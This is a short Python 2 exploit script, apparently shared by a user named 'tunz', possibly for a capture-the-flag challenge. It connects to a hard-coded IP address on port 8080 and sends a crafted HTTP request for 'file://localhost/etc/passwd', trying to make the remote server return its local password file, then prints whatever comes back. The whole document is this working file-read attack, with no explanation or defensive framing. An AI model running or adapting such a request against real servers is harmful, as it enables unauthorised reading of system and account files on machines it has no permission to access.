from socket import *
import sys
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('188.40.147.125',8080))
#s.connect(('localhost',8080))
s.send("GET file://localhost/etc/passwd HTTP/1.1\r\n\r\n")
get=s.recv(65000)
print get


posted by tunz